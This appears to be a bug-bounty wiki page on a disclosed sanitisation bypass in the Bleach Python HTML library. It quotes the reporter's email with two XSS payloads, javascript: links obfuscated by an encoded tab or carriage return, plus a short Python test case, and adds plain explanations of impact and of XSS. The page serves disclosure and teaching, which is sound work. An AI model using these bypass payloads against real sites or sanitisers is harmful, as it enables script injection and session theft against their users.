Bleach sanitization bypass
Bleach, a Python HTML sanitisation library, failed to block JavaScript URLs when they contained encoded control characters such as a tab or a carriage return. An attacker could craft a link that bypasses the sanitiser and executes script when clicked.
Originally disclosed on Mozilla
- Fixed in 12 days
- Paid in 17 days
- Disclosed after 12 days
"stef" reported a sanitization bypass in bleach to the security mailing address. Since issues at https://github.com/mozilla/bleach are public filing this security issue here for now.
--- from stef's mail -------------
during an audit I found a way to circumvent the user input sanitizer bleach.
the following simple obfuscations allow the circumvention of bleach:
<a href="javas	cript:alert(1)">alert</a>
<a href="javascript:alert(1)">alert</a>
minimal testcase:
#!/usr/bin/env python3
import bleach
from bleach.sanitizer import Cleaner
cleaner = Cleaner(
tags=bleach.sanitizer.ALLOWED_TAGS,
attributes=bleach.sanitizer.ALLOWED_ATTRIBUTES,
styles=bleach.sanitizer.ALLOWED_STYLES,
protocols=bleach.sanitizer.ALLOWED_PROTOCOLS,
strip=True,
strip_comments=True,
)
print(cleaner.clean('<a href="javas	cript:alert(1)">alert</a>'))
print(cleaner.clean('<a href="javascript:alert(1)">alert</a>'))
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could inject a link that executes arbitrary JavaScript in a victim's browser when clicked, potentially leading to session theft or other client-side attacks.
What the attacker needed
Victim clicks a crafted link
How it was found
- Create a Bleach Cleaner with default allowed tags, attributes, styles, and protocols.
- Pass a link whose href contains an encoded tab inside 'javascript:'.
- Observe that the cleaned output still contains the dangerous link.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Bleach is a tool that cleans HTML to remove dangerous parts. It checks links to make sure they don't start with 'javascript:', which would run code. The researcher found that by hiding a tab or carriage return inside the word 'javascript', the check was fooled and the dangerous link got through.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.